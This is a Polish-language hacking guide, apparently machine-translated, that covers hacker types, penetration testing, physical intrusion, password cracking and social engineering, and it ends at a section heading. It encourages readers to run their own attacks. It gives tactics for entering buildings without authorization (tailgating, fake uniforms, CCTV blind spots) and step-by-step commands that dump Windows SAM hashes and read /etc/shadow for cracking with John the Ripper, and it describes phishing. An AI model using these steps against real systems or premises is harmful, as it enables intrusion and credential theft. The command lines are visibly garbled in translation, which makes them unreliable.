Hakerstwo

Zostań światowej klasy hakerem, zhakuj dowolne hasło, program lub system za pomocą sprawdzonych strategii i sztuczek.

W kolejnych częściach omówiono niektóre rzeczy, które powinieneś wiedzieć o hakowaniu, jeśli chcesz chronić własną sieć lub nauczyć się, jak hakować samodzielnie. Omówimy wiele ważnych tematów związanych z hakowaniem, a nawet jak wykonać własne ataki. Jest wiele rzeczy do nauczenia się o hakowaniu i możesz ich używać również do wielu własnych ataków. Porozmawiamy o niektórych podstawach hakowania, o tym, jak przeprowadzić test penetracyjny i dlaczego jest to tak ważne, jak włamać się do haseł i sieci bezprzewodowych, jak stworzyć keylogger i wiele więcej. Kiedy skończysz, będziesz również gotowy do przeprowadzenia kilku ataków na własną rękę. Hakowanie jest złożonym tematem komputerowym, którego nauka zajmie trochę czasu. Ale jeśli zastosujesz się do kilku wskazówek zawartych w tym przewodniku, a nawet nauczysz się, jak pracować nad językiem programowania, szybko staniesz się ekspertem w kodowaniu.

Część I: Nauka podstaw hakowania

W miarę jak technologia zaczyna być coraz bardziej obecna w naszym życiu, świat hakowania również rośnie. Jest tak wielu ludzi, którzy pracują online, prowadzą działalność online, przechowują informacje na swoich komputerach i telefonach, i którzy robią zakupy i więcej na swoich komputerach. To wszystko jest teraz normalną częścią naszego codziennego życia, ale staje się również doskonałym narzędziem dla hakerów. Jeśli potrafią uzyskać dostęp do kilku systemów, są w stanie uzyskać wszelkie potrzebne informacje. Wszyscy kiedyś słyszeliśmy o hakerze. Zwykle dzieje się tak po wielkiej historii o hakerze, który ukradł setki tożsamości, a potem w końcu został złapany. Hakerzy w czarnym kapeluszu są tymi, którzy działają w systemie, bez pozwolenia, zwykle kradną informacje dla własnych korzyści. Są też hakerzy w białych kapeluszach, osoby, które współpracują z firmami w celu znalezienia wad w systemie, są etyczne, ale będą używać wielu takich samych technik jak wszyscy inni hakerzy. Ale co tak naprawdę oznacza hackowanie? Jakie rzeczy przychodzą ci na myśl, gdy słyszysz słowo „hackowanie”? Większość ludzi myśli o kimś, kto jest sam w swojej firmie, prawdziwym geniuszu komputerowym, który potrafi włamać się do sieci i uzyskać wszystkie potrzebne informacje. Ci ludzie często przychodzą i kradną dane osobowe, powodując bałagan z kradzieżą tożsamości i wiele więcej. Jest to obraz, o którym wiele osób pomyśli, gdy usłyszą o hakerach. Ale istnieje tak wiele różnych rodzajów i zastosowań hakowania, że trudno jest dopasować wszystkich do tego obrazu. Zrozumienie, czym tak naprawdę jest hakowanie, może pomóc ci dowiedzieć się, jak hakowanie może się różnić w zależności od sytuacji. Zasadniczo hakowanie jest próbą rozwiązania problemu przez hakera lub zmiany aplikacji poprzez zmianę oprogramowania lub sprzętu. Chociaż są ludzie, którym udało się dostać do systemów, do których nie mają dostępu, i wprowadzić zmiany, które mogą dać im pewien rodzaj osobistej korzyści, większość hakerów nie działa w ten sposób. Jasne, oboje będą korzystać z wielu takich samych narzędzi i technik, ale powody hakowania będą zupełnie inne. Rzućmy okiem na historię hakowania. Na początku hakerami byli ludzie, którzy wiedzieli, jak korzystać z systemów telefonicznych i komputerowych i często pracowali, aby wprowadzić dobre zmiany w oprogramowaniu, aby działało trochę lepiej. Ci faceci byli w stanie pójść nieco dalej i wprowadzać zmiany we wczesnych programach komputerowych, które pojawiły się w tym czasie. Wprowadzą tylko pewne zmiany w programie, aby oprogramowanie działało nieco lepiej lub mogło być używane ze specjalnego powodu. Stawali się kreatywni i czasami sprawiali, że cały program był łatwiejszy i lepszy. Jak można się domyślić, w świecie hakerów sytuacja uległa znacznej zmianie. Zamiast po prostu wziąć oprogramowanie, którego używasz z powodów osobistych i wprowadzić pewne modyfikacje, hakerzy są teraz w stanie uzyskać nielegalny dostęp do niektórych systemów, uszkodzić je i powodować problemy z cyberbezpieczeństwem

Rodzaje hakerów

Spójrzmy na niektóre z różnych typów hakerów, które tam są i jak robią to inaczej. Pierwszym typem hakera jest haker w białym kapeluszu, którego często można nazwać etycznym hakerem. Są to hakerzy, którzy wykonują swoje prace legalnie, często pracując dla dużej firmy w celu znalezienia luk i ochrony systemu komputerowego. Firmy takie jak Amazon zatrudniłyby białego hakera, aby chronić informacje o płatnościach swoich klientów. Ci hakerzy nie spowodują szkód w systemie. Zamiast tego spróbują znaleźć niektóre z problemów, które występują w systemie, aby chronić firmę i klientów. Mogą również pracować jako eksperci w dziedzinie bezpieczeństwa cybernetycznego, aby naprawić potencjalne luki, które się pojawią. Sprawiają, że jest to ich praca, a także mogą informować opinię publiczną, czy istnieją zagrożenia, jeśli jest to potrzebne. Drugi typ hakera, na który możesz natknąć się, to haker w czarnym kapeluszu. Są to „źli" hakerzy lub ci, którzy chcą osiągnąć osobisty zysk z informacji, które otrzymują, a następnie dostaną się do sieci, aby zniszczyć dane lub ukraść niektóre informacje, czasami są źli na firmę, co powoduje problemy. W tym czasie nie próbują pomagać nikomu oprócz siebie, chcą zarabiać pieniądze lub powodować duże szkody. Istnieje również trzecia kategoria hakerów. To hakerzy w szarym kapeluszu. Jest to połączenie dwóch pozostałych kategorii. Ta grupa zazwyczaj dostaje się do systemu bez pozwolenia, tak jak hakerzy w czarnym kapeluszu, ale nie próbują sprawiać kłopotów. Czasami haker po prostu dostaje się do systemu, ponieważ chce sprawdzić, czy jest w stanie, ale nie chce kraść informacji ani powodować szkód. Tacy hakerzy czasami chcą pomóc firmie, ale mogą nie działać dla firmy i dlatego nie są technicznie dozwolone w systemie. Często znajdą te luki, a następnie mogą powiadomić firmę. Ci ludzie czasami potrafią ochronić firmę przed dużym zawstydzeniem. Czasami zostaną zaproszeni do pracy w firmie, jeśli znajdą jakieś poważne luki.

Umiejętności początkowe do hakowania

Jest kilka umiejętności, które powinieneś rozważyć, gdy nadszedł czas, aby rozpocząć hakowanie. Ten przewodnik skupi się na etycznym hakowaniu, ale techniki i umiejętności będą podobne. Niektóre z umiejętności, których możesz potrzebować, obejmują:

● Umiejętności obsługi komputera: zanim będziesz w stanie włamać się do innego systemu, musisz dobrze zrozumieć, w jaki sposób działają komputery, a nawet jak przeczytać instrukcje, które ci pomogą. Twoje umiejętności powinny być nieco bardziej złożone niż tylko możliwość przeglądania Internetu.

● Możliwość korzystania z systemu operacyjnego Linux: jednego z najlepszych systemów operacyjnych, których można użyć do hakowania. Możesz wykonać część pracy z Windows i Mac, ale ponieważ możesz używać Linuksa do dostosowywania niektórych swoich programów, jest to preferowana metoda dla hakerów.

● Znajomości baz danych: zrozumienie, w jaki sposób działają niektóre systemy zarządzania bazami danych, bardzo ci pomoże. Powinieneś nauczyć się pracować z MySQL i Oracle i umieć je przenikać.

● Umiejętności pracy w sieci: haker będzie angażował się w mnóstwo działań online, więc musisz mieć niektóre z tych umiejętności. Niektóre dobre umiejętności pracy w sieci, o których można się dowiedzieć, to hasła WPS, porty, DNS i podsieci.

● Umiejętności skryptowe: prawdopodobnie najlepiej jest nauczyć się języka programowania, zanim zaczniesz hakować. Niektóre osoby zaczynają bez podstaw pisania kodu, ale będzie to niekorzystne. Powinieneś być w stanie korzystać z własnych narzędzi, ponieważ korzystanie z narzędzi zaprojektowanych przez innych hakerów może narazić tworzony system na ryzyko wykorzystania.

● Umiejętności inżynierii odwrotnej: jest to naprawdę skuteczny sposób na opracowanie niektórych narzędzi hakerskich. Weźmiesz jedno z narzędzi, które są już dostępne, rozłożysz je na części, a następnie zmienisz na lepsze i wykonasz pracę, którą chcesz. Dobrzy hakerzy potrafią wykorzystać te umiejętności.

● Oprogramowanie do wirtualizacji: to oprogramowanie jest pomocne, ponieważ będziesz mógł przetestować hakowanie na swoim komputerze przed wysłaniem go na cały świat. Pomoże ci to sprawdzić, czy w systemie są jakieś błędy.

Jest wiele rzeczy, które stoją za hackowaniem i organizowanie rzeczy może zająć trochę czasu. Dobry haker z czasem doskonali swoje umiejętności, dzięki czemu będzie w stanie tworzyć lepsze programy, łatwiej wkradać się do systemów i uzyskiwać informacje, których szukają.

Różne rodzaje ataków

Istnieje wiele różnych rodzajów ataków, nad którymi możesz pracować. Niektóre pozwolą ci połączyć się z siecią bezprzewodową i pobrać potrzebne informacje. Niektórzy hakerzy mogą kraść hasła i nazwy użytkowników, aby uzyskać informacje osobiste i finansowe dotyczące ich celów. Innym razem możesz przejść i zhakować smartfona. Wszystkie te ataki pozwolą hakerowi uzyskać informacje, które chcieliby uzyskać. Ale każda z nich zmieści się w dwóch głównych kategoriach. Pierwszy typ jest znany jako atak pasywny. Ten atak ma miejsce, gdy haker po prostu wejdzie do sieci lub systemu, który chce, a następnie po prostu zaczeka. To nie jest atak, który inni zauważą, że haker tam jest. Będą czekać, aż ich cel wejdzie do systemu, zgromadzi informacje i może wprowadzi kilka zmian, ale atak naprawdę nie spowoduje jeszcze szkód w systemie komputerowym. Haker może również wykonać aktywny atak. Ten zwykle będzie po tym, jak haker zakończy atak pasywny i zgromadzi potrzebne informacje. Aktywny atak nastąpi, gdy inni zauważą, że haker tam jest. Haker zablokuje ludzi z systemu, wprowadzi poważne zmiany, wyśle wirusy i nie tylko, co oznacza kradzież informacji lub uszkodzenie systemu. Często haker łączy te dwa ataki, aby uzyskać potrzebne informacje i upewnić się, że mogą wyrządzić pożądane szkody. Wiedza o tym, jak robić oba typy hacków, jest ważna, aby zapewnić hakerowi dostęp do tego, co chcieliby.

Część II : Jak ukończyć test penetracyjny

Pierwszym tematem, który omówimy, jest ukończenie testu penetracyjnego. Będzie to proces testowania aplikacji, sieci lub innego rodzaju systemu cybernetycznego w celu wykrycia niektórych słabości, które haker może wykorzystać. Ten proces ułatwi ci wejście do systemu bez konieczności używania haseł i nazw użytkowników, których potrzebują inni użytkownicy. Jako etyczny haker, skorzystasz z tego procesu, aby sprawdzić, jak łatwo jest dostać się do systemu i dotrzeć do poufnych informacji. Skąd więc wiemy, jaka jest różnica między atakiem a testem penetracyjnym? Zwykle jest to ilość uprawnień, które musisz mieć w systemie. Haker, który przechodzi jeden z tych testów penetracyjnych, otrzymuje pozwolenie na przeprowadzenie tego hakowania przez właścicieli systemu. Po zakończeniu haker przekaże raport o tym, co znalazł. W ramach testu możliwe jest uzyskanie dostępu do wejścia do systemu. A potem, gdy wejdziesz, będziesz w stanie zobaczyć, czy można uzyskać bardziej poufne informacje jak zwykły użytkownik, nawet informacje, których ci użytkownicy nie powinni mieć. Chociaż czasami łatwiej jest wejść jako bieżący użytkownik i sprawdzić, co jest dla nich dostępne. Ale w niektórych przypadkach lepiej przejść przez blind. Przechodziłbyś jak haker w czarnym kapeluszu, próbując dostać się do systemu bez żadnej autoryzacji. Otrzymasz nazwę firmy, z którą współpracujesz i tyle. Zajmuje to trochę więcej czasu, ale ponieważ w taki sposób większość hakerów dostanie się do systemu, jest to dobre miejsce, aby zacząć. Kroki, które wykonasz jako tester penetracji, będą podobne do tych, które wykorzysta złośliwy haker. Większość hakerów będzie powoli przechodzić przez system, aby nie uruchamiać alarmów i nie pozwolić, aby ktoś ich zauważył.

Powinieneś również przechodzić przez system powoli, ponieważ pomaga to sprawdzić, czy system naprawdę jest w stanie wykryć twoje ataki. W pierwszym etapie testów penetracyjnych będziesz pracować nad uzyskaniem jak największej ilości informacji. Ten proces jest uważany za pasywny, ponieważ nie uruchamiasz ataku. Po prostu się rozglądasz i próbujesz dowiedzieć się jak najwięcej o firmie. Na przykład możesz dowiedzieć się, jakie są nazwy serwerów, adresy IP, serwery sieciowe, używane wersje oprogramowania, a nawet system operacyjny. Po uzyskaniu wszystkich tych informacji nadszedł czas, aby przejść przez drugi krok i zweryfikować informacje. Możesz to porównać z informacjami zebranymi ze znanymi lukami w zabezpieczeniach. A następnie sprawdź luki, aby upewnić się, że informacje są prawidłowe.

Dlaczego przeprowadzany jest test penetracyjny?

Istnieje wiele wspaniałych powodów, dla których warto przejść i przeprowadzić test penetracyjny dla firmy. Najważniejszym powodem jest to, że chcesz zidentyfikować słabości, które haker zamierza wykorzystać w systemie. Hakerzy często próbują dostać się do systemu dużej firmy, aby zdobyć te informacje, więc uważanie na niektóre z tych słabości może być bardzo ważne. Dział IT tej firmy może chcieć śledzić i sprawdzać nowe słabości, aby upewnić się, że haker nie będzie w stanie dostać się do sieci. Jako tester penetracji będziesz musiał przejść przez system jak haker. Będziesz musiał zhakować i zaatakować system, a następnie naprawić dziury. Mamy nadzieję, że jesteś w stanie to zrobić, zanim zły haker znajdzie te same dziury, aby dostać się do środka. Musisz przejść i wykonać tych testów całkiem sporo, ponieważ chociaż system może być teraz bezpieczny, mogą istnieć rzeczy które później pójdą źle. Innym powodem, dla którego chciałbyś pracować nad testami penetracyjnymi, jest pokazanie kierownictwu, że potrzebujesz odpowiednich zasobów dla bezpieczeństwa cybernetycznego. Po przejściu testu penetracji i znalezieniu wszystkich dziur w systemie możesz napisać raport. Ten raport pokaże zarządowi, jak ważne jest cyberbezpieczeństwo dla firmy. Często możesz zwrócić na to uwagę zespołowi zarządzającemu, ponieważ mogą oni nie zdawać sobie sprawy z tego, ile pracy będzie miało bezpieczeństwo w ich systemie. Czasami największym problemem będzie to, czy zespół ds. Bezpieczeństwa wewnętrznego wykonuje to zadanie. Test penetracyjny, zwłaszcza przeprowadzony przez zespół zewnętrzny, sprawdzi, czy dział IT firmy naprawdę wykonuje to, co powinien. Mogą również być w stanie pomóc w znalezieniu luki między wiedzą na temat luk w systemie a zdolnością do wdrożenia środków niezbędnych dla bezpieczeństwa.

Pisanie raportu

Po zakończeniu testów penetracyjnych musisz umieścić wszystkie te dane w raporcie. To pozwala ci zobaczyć, co jest nie tak z systemem, a następnie możesz wprowadzić zmiany, które naprawią te luki. Jeśli wyświetlasz te informacje komuś innemu w firmie, np. zespołowi zarządzającemu, upewnij się, że raport jest łatwy do odczytania. Rozważ podzielenie go na odpowiednie sekcje, aby ułatwić czytanie, a klient może znaleźć potrzebne informacje. Niektóre dobre części do napisania obejmują podsumowanie techniczne, które będzie zawierało cały żargon, podsumowanie zarządzania, które przejdzie i objaśni znalezione dziury i jak je naprawić, a nawet streszczenie. Test penetracyjny to dobry sposób, aby dowiedzieć się, jak silny jest twój system i jakie zmiany należy wprowadzić. Mamy nadzieję, że system jest dość silny i nie będziesz musiał wykonywać mnóstwo pracy. Jednak wiele razy w sieci będzie więcej dziur, niż można sobie wyobrazić. Testy penetracyjne pomogą ci zobaczyć, gdzie one są, abyś mógł je naprawić.

Część III : Uzyskiwanie fizycznego dostępu do systemu

Po zakończeniu testów penetracyjnych w systemie może być kilka rzeczy, które trzeba będzie naprawić. Przejdziemy do niektórych ataków, nad którymi możesz pracować w swoim systemie, aby zapewnić mu bezpieczeństwo. Ta część dotyczy uzyskania fizycznego dostępu do twojego systemu. Fizyczny

dostęp może ułatwić hakerowi dostanie się do systemu, pod warunkiem, że może on dotknąć systemów komputerowych. Czasami haker może być jednym z pracowników, który ma już dostęp do systemu. Wykorzystają niektóre ze swoich umiejętności, aby rozejrzeć się i uzyskać potrzebne informacje. Innym razem ochrona może być rozluźniona wokół firmy i może wejść do niej nieznajomy. Mogą nauczyć się mundurów lub stroju firmy, a jeśli ta firma jest duża i nie ma dobrego systemu bezpieczeństwa, haker może dostać się do budynku i nikt by tego nie zauważył. Ponieważ nasz świat zmienił się tak bardzo pod względem technologii, przechodząc na smartfony, tablety, napędy USB i inne urządzenia podręczne, haker może łatwo uzyskać dostęp do urządzeń, które chce. Rzućmy okiem na niektóre sposoby, w jakie haker może uzyskać fizyczny dostęp do twojego systemu.

Rodzaje podatności

Istnieje kilka luk w zabezpieczeniach, które ułatwią komuś uzyskanie fizycznego dostępu, którego potrzebują. Niektóre z tych luk obejmują:

● Brak recepcji, która monitorowałaby osoby wchodzące i wychodzące z budynku.

● Niewymuszenie na pracownikach do zalogowania się, a także wszelkich odwiedzających budynek.

● Pracownicy ochrony i inni pracownicy, którzy nie znają się tak dobrze. Ułatwia to ludziom wejście do budynku.

● Wyrzucanie poufnych dokumentów, zarówno osobistych, jak i korporacyjnych, do kosza. Zamiast tego należy przeszkolić pracowników w niszczeniu tych dokumentów.

● Pozostawienie odblokowanych drzwi wchodzących do pomieszczeń komputerowych.

● Pozostawienie urządzeń z ważnymi informacjami w całym biurze.

● Brak naprawy drzwi, które nie zamykają się tak, jak powinny.

Zanim zaczniesz od ataku fizycznego, musisz upewnić się, że opracowałeś plan jego wykonania. Pierwszym krokiem powinno być znalezienie najlepszego sposobu na przerwanie aktywności fizycznej. Może to wymagać trochę badań ze strony hakera. Na przykład muszą być w stanie zauważyć środki bezpieczeństwa stosowane w firmie, słabości, które mogą wykorzystać, i jak podjąć zalety tego wszystkiego. Na początku może się to wydawać proste, ale kiedy spróbujesz wprowadzić go w życie, może to zająć trochę czasu i pracy. Załóżymy, że próbujesz wykonać fizyczny atak, nie mając w środku kogoś, kto mógłby ci pomóc. Może być konieczne kilka tygodni lub więcej, aby zebrać te informacje i być gotowym na atak. Naruszenie bezpieczeństwa fizycznego oznacza, że musisz być w stanie wejść do budynku, przejść się wewnątrz budynku, a następnie wydostać się bez wykrycia ciebie lub twoich motywów. Fizyczne naruszenie może być wyzwaniem i nie jest dla wszystkich. Na przykład, jeśli nie masz cierpliwości, aby to zrobić, brakuje ci sprawności umysłowej lub nie jesteś wystarczająco sprawny fizycznie, aby obejść budynek, to ten rodzaj ataku nie jest dla ciebie.

Kontrole fizyczne

Pierwszą rzeczą, którą będziemy musieli zbadać, są fizyczne kontrole. Oznacza to, że musisz dowiedzieć się, jak działa zespół ds. bezpieczeństwa, w tym jak zarządza dostępem, monitorowaniem i kontrolą w firmie. Możesz zauważyć, że w firmie mogą istnieć pewne sekcje, które są ograniczone, prywatne i publiczne, a to pomoże ci określić najlepszą dla Ciebie technikę. Aby rozpocząć, musisz spojrzeć na zabezpieczenia obwodowe. Będziesz musiał sprawdzić zewnętrzną stronę firmy, w tym mantry, bramki obrotowe, kamery, monitoring, psy, ogrodzenia, ściany i wszystko, co trzymałoby cię z dala od firmy.

Będą to wszelkie środki odstraszające, które utrzymają cię poza firmą. Niektóre firmy mogą nie mieć nawet więcej niż pracownika ochrony, który sprawdza recepcję, lub nawet nie mają ich tak dużo. Twoim zadaniem jest przejrzeć kontrolę obwodu i dowiedzieć się, gdzie jest wszystko i gdzie znajdują się wszystkie słabości, ponieważ będą to miejsca, które możesz wykorzystać. Kilka pomysłów będziesz mógł po prostu rozejrzeć się po budynku. Powinieneś również wziąć pod uwagę identyfikatory. Niektóre firmy będą miały niektóre z tych identyfikatorów, ponieważ pomagają im kontrolować i monitorować ruch swoich pracowników. Mogą również sprawdzić katalogi i pliki, które pracownik zmodyfikuje lub utworzy w oparciu o rodzaj identyfikatorów używanych przez firmę. Jeśli to możliwe, powinieneś rozważyć zdobycie tych odznak, abyś mógł wejść. W niektórych przypadkach trudno jest uzyskać jedną z tych odznak, ale istnieją inne opcje, z których możesz skorzystać, w tym:

● Wejdź jako gość z jednym ze strażników, ale następnie znajdź sposób na ucieczkę od eskorty.

● Użyj techniki znanej jako tailgating. Musisz założyć, że budynek nie ma z nim muru.

● Znajdź pracownika, który ma przerwę, na przykład w strefie dla palących, a następnie podążaj za nim, kontynuując rozmowę, aby wyglądało na to, że należysz do zespołu.

● Znajdź fałszywy mundur i udawaj, że jesteś mechanikiem, sprzedawcą lub kontrahentem. Pomoże ci to dostać się do budynku.

Mogą również istnieć niektóre systemy wykrywania włamań. Obejmowałyby one niektóre opcje, takie jak alarmy włamaniowe i ruchu. Ważne jest, aby mieć dobre pojęcie o rodzajach alarmów i systemach monitorowania używanych w budynku, aby ich uniknąć.

Kontrole techniczne. Istnieją również pewne kontrole techniczne, na które należy uważać, gdy chcemy wykonać atak fizyczny. Będą to takie rzeczy, jak kamery CCTV i karty inteligentne, które mają pomóc firmie zachować bezpieczeństwo. Pierwszy obejmuje karty inteligentne. Będą one miały układy scalone i mikroczipy, które będą mogły przetwarzać dane, dzięki czemu możliwe będzie uwierzytelnianie dwuskładnikowe. Będzie to zawierać wszystkie informacje o pracowniku, w tym o tym, gdzie jest on w stanie uzyskać dostęp. Ale posiadanie tej karty nie jest jedyną rzeczą, którą musisz dopasować, aby dostać się do firmy. Jakikolwiek skaner lub hasło zostaną użyte w celu potwierdzenia tożsamości użytkownika. To nie znaczy, że nie będziesz w stanie się przez nie przedostać. Możesz obserwować innych ludzi z firmy i zdobądź jedno z haseł lub możesz zrobić kilka hacków, które pomogą ci ominąć system. Kamery CCTV są kamerami do nadzoru wideo. Zostaną umieszczone w specjalnych miejscach w całej firmie i mogą być monitorowane przez niektórych ochroniarzy. Po odrobinie badań będziesz w stanie znaleźć pewne martwe punkty, aby móc ominąć system, wystarczy dowiedzieć się, gdzie są te plamy. Gdy będziesz w stanie przejść przez różne funkcje bezpieczeństwa, które są wokół firmy, możesz szybko zakończyć fizyczny atak. Te ataki wymagają tylko dostępu do systemu, a czasem będziesz mógł zabrać ze sobą urządzenie, jeśli jest przenośne, co ułatwi ci wejście i uzyskanie potrzebnych informacji.

Część IV: Hakowanie haseł

Hakowanie haseł to świetne narzędzie do nauki używania. Jako haker, istnieje wiele informacji, które można uzyskać, gdy można uzyskać hasło użytkownika docelowego. Te hasła mogą pozwolić ci dostać się do systemu komputerowego, dostać się na konto bankowe i wiele więcej. Czasami są kluczem do uzyskania wszystkiego, czego chcesz. Haker może uzyskać hasło na kilka różnych sposobów. Niektórzy po prostu przejdą i zastosują atak brute force, co oznacza, że będą wypróbowywać hasła, dopóki nie zadziała. Istnieją ataki słownikowe, które wykorzystają wszystkie słowa ze słownika. Opcje te często wymagają trochę czasu, ale wykonają zadanie, zwłaszcza gdy użytkownik ma bardzo krótkie i łatwe

hasło. Inną opcją jest keylogger. Spowoduje to śledzenie naciśnięć klawiszy wprowadzanych przez użytkownika i wyświetlenie dla hakera, bez wiedzy użytkownika, a haker będzie mógł przejść i zobaczyć, gdzie są wzorce. Dodaj rejestrator ekranu, a haker ma doskonały dostęp do informacji potrzebnych do uzyskania dostępu do kont użytkowników. Surfowanie przez ramiona to kolejna opcja, której można użyć, aby pomóc hakerowi zdobyć hasło. To wtedy możesz obserwować osobę wpisującą hasło, a następnie dowiedzieć się, z czego korzysta. Czasami widać naciśnięcia klawiszy, więc łatwo jest zobaczyć, jakie słowa są używane. Czasami zobaczysz, ile znaków jest obecnych, abyś mógł ograniczyć dostępne opcje. Chodzi o to, że jesteś blisko osoby, gdy próbujesz uzyskać hasło. Inżynieria społeczna jest często używana w celu uzyskania informacji o haśle. Wielu hakerów wyśle fałszywy e-mail, który wygląda jak prawdziwa firma, na przykład e-mail wyglądający, jakby pochodzi z banku użytkownika. Użytkownik może kliknąć link i podać swoje hasło, pozwalając hakerowi na posiadanie informacji, których potrzebują.

Rodzaje luk w zabezpieczeniach haseł.

Istnieją dwa rodzaje luk w zabezpieczeniach, które mogą pochodzić z Twoich haseł: techniczne i użytkownika. W przypadku luk w zabezpieczeniach użytkowników mówimy o wszelkich słabościach, które pojawią się z powodu słabości zasady dotyczące haseł lub gdy firma nie egzekwuje trudniejszych wytycznych, które są potrzebne do zapewnienia bezpieczeństwa systemu. Jednym z przykładów podatności użytkownika jest sytuacja, w której ludzie używają tego samego hasła do wszystkich swoich kont. Może to być łatwiejsze do zapamiętania przez użytkownika, ale dzięki temu haker może z łatwością spróbować. W rzeczywistości, jeśli haker znajdzie jedno z twoich haseł, założy, że to hasło jest używane na wszystkich twoich kontach i wypróbuje je wszystkie. Istnieją tryliony dostępnych opcji haseł i im bardziej skomplikowane jest utworzenie hasła, tym trudniejsze jest aby haker mógł dostać się do systemu. Ponadto powinieneś rozważyć czasami zmianę hasła. Jeśli utrzymasz swoje hasło przez zbyt długi czas, jest bardziej prawdopodobne, że haker otworzy je przy użyciu ataku siłowego. Ale jeśli zmienisz to od czasu do czasu i zrobisz to, upewnij się, że twoje hasła nie są współużytkowane z więcej niż jednym kontem, istnieje mniejsze prawdopodobieństwo ataku. Istnieją również luki w zabezpieczeniach technicznych, na które trzeba uważać przy użyciu haseł. Po zakończeniu działania hakera i sprawdzeniu, czy mogą wykorzystać luki w zabezpieczeniach użytkownika, przejdą dalej, aby sprawdzić, czy istnieją jakieś luki techniczne. Istnieje kilka typowych luk technicznych, w tym:

● Aplikacje pokazujące hasło, gdy użytkownik wpisuje je na ekranie. Większość aplikacji tego nie robi, ale użytkownik może czasem to zmienić, aby wyświetlały się litery. Internauci przez ramiona mogą spojrzeć i zobaczyć, jakie jest twoje hasło.

● Bazy danych i programy, które będą przechowywać twoje hasło. Czasami baza danych nie jest odpowiednio zabezpieczona, na przykład gdy przechowujesz hasło w pliku Word, co jest łatwe dla hakera.

● Korzystanie z baz danych, które nie mają szyfrowania i do których może uzyskać dostęp wiele osób, które nie mają autoryzacji.

● Zastosowanie technik szyfrowania, które nie są tak dobre. Jest wielu programistów, którzy uważają, że ich kody źródłowe nie są znane, więc nie zapewnią odpowiedniego rodzaju zabezpieczeń. Dzięki temu haker może łatwo dostać się do systemu.

Robiąc łamanie hasła

Teraz, gdy rozmawialiśmy trochę o przyczynach, a czasami o tym, jak haker jest w stanie zrobić hakowanie hasła, nadszedł czas, aby popracować nad tym, aby samemu przeprowadzić atak. Będziemy

używać narzędzia pwdump3, aby pomóc nam uzyskać wszelkie zaszyfrowane hasła pochodzące z bazy danych Security Accounts Manager. Następnie możemy użyć programu John the Ripper, ponieważ działa on dobrze zarówno na hasłach systemu Windows, jak i Linux, co da ci dostęp do większości hasła, których szukasz. Będziesz musiał przejść nieco inny proces w zależności od tego, czy pracujesz z systemem Linux, czy z systemem Windows. Aby skorzystać z tych dwóch programów, włamać się do systemu Windows wykonaj następujące kroki.

● Przejdź do komputera, a następnie otwórz dysk C. Utwórz katalog i upewnij się, że nazywasz go „psswords"

● Musisz upewnić się, że na komputerze jest zainstalowane narzędzie do dekompresji. Dobrą opcją jest WinZip. Jeśli nie masz takiego programu na swoim komputerze, pobierz go i zainstaluj.

● Teraz nadszedł czas, aby pobrać i zainstalować John the Ripper i pwdump3. Należy je wyodrębnić do utworzonego wcześniej katalogu haseł.

● Wpisz polecenie „c: passwordspwdump3> cracked.txt"

● Otrzymane dane wyjściowe to skróty haseł Menedżera kont zabezpieczeń systemu Windows. Wszystkie zostaną przechwycone w pliku .txt.

● Teraz możesz wpisać polecenie „c: passwordsjohn cracked.txt"

● Spowoduje to, że John the Ripper będzie używał wszystkich skrótów haseł, a twoimi danymi wyjściowymi będą hasła użytkowników, które zostały złamane.

● Ta metoda może być łatwa w obsłudze i jest dość prosta, ale proces ten zajmie ci trochę czasu, w zależności od liczby osób w systemie i stopnia złożoności ich haseł.

Proces wykonywania tego w systemie Linux będzie nieco inny. Kroki, które należy wykonać, aby zająć się łamaniem haseł w systemie Linux, obejmują:

● Pobierz wszystkie pliki źródłowe na Linux.

● Gdy będą gotowe, wpisz polecenie [root @ host lokalny twoja aktualna nazwa pliku] #tar –zxf john - 1.7.9.tar.gz

● Spowoduje to wypakowanie programu, a jednocześnie pomoże ci stworzyć zupełnie nowy / katalog src

● Gdy katalog / src będzie gotowy, wpisz polecenie „make generic"

● Teraz możesz być w katalogu / run, więc wpisz polecenie

„/ Unshadow / etc / passwd / etc / shadow> cracked.txt.

● Odtąd program unshadow połączy hasła i pliki cienia a następnie wprowadzi je do pliku .txt.

● Teraz możesz wpisać polecenie / john cracked.txt

● Pomoże Ci to uruchomić proces krakowania. Ten zajmie ci trochę czas, ale powinieneś otrzymać taki sam efekt, jaki uzyskałeś podczas korzystania z procedury w systemie Windows.

Bardzo ważne jest, aby upewnić się, że tworzysz silne hasła i że inni ludzie w Twojej sieci robią to samo. Te hasła mogą pomóc w utrzymaniu bezpieczeństwa systemu, ale musisz upewnić się, że hakerzy nie są w stanie dowiedzieć się, jakie są te hasła. Ulepsz hasła, nie udostępniaj ich innym osobom, nie

używaj tego samego na więcej niż jednym koncie i zmieniaj je od czasu do czasu. Te wskazówki pomogą ci powstrzymać hakerów od kont.

Część V: Inżynieria społeczna

W 2016 r. jednym z największych zagrożeń cybernetycznych dla firm i konsumentów była inżynieria społeczna. Dlaczego jest tak wysoko na liście? Jest tak, ponieważ hakerzy wykorzystują słabość systemu, ludzi, ponieważ jest to jeden z najłatwiejszych sposobów, aby dostać się do systemu i uzyskać potrzebne informacje. Wyślą coś, co sprawi, że użytkownik kliknie lub zadziała w określony sposób, a następnie haker będzie mógł uzyskać to, czego chce. Często jest to o wiele łatwiejsze dla hakera niż samo korzystanie z sieci. Najtrudniejszą częścią pracy hakera w inżynierii społecznej jest przekonanie ludzi. Jeśli informacje lub plik wydają się nieco wyłączone, użytkownik nigdy go nie otworzy ani nie użyje, a haker nigdy nie zobaczy wyników, jakich chcą. Ale gdy haker będzie w stanie przekonać użytkownika do zaufania, będzie mógł to wykorzystać, aby uzyskać potrzebne informacje. Jedną z rzeczy, które znajdziesz w socjotechnice, jest to, że zostanie to zrobione za pomocą fizycznego włamania. Głównym celem tych ataków jest sprawienie, aby ktoś, kto posiada potrzebne informacje, zaufał ci, abyś mógł uzyskać te informacje. Istnieje kilka sposobów pracy z inżynierią społeczną. Możesz wysłać użytkownikowi docelowemu wiadomość e-mail, która zwykle będzie zawierać niektóre linki. Jeśli użytkownik kliknie łącza, wirus lub złośliwe oprogramowanie pobierze i przejmie komputer. Jeśli już współpracujesz z firmą i chcesz uzyskać dostęp, możesz porozmawiać z działem IT, mówiąc, że zgubiłeś odznakę lub inny dowód tożsamości. Mogą chcieć przekazać klucze, abyś mógł uzyskać żądane pliki cyfrowe i fizyczne. Pamiętaj, że choć mogą się wydawać proste, inżynieria społeczna zajmuje trochę czasu i musisz być ostrożny, ponieważ musisz zdobyć zaufanie użytkownika, bo inaczej nigdy nie dostaniesz tego, czego chce.

Strategie inżynierii społecznej

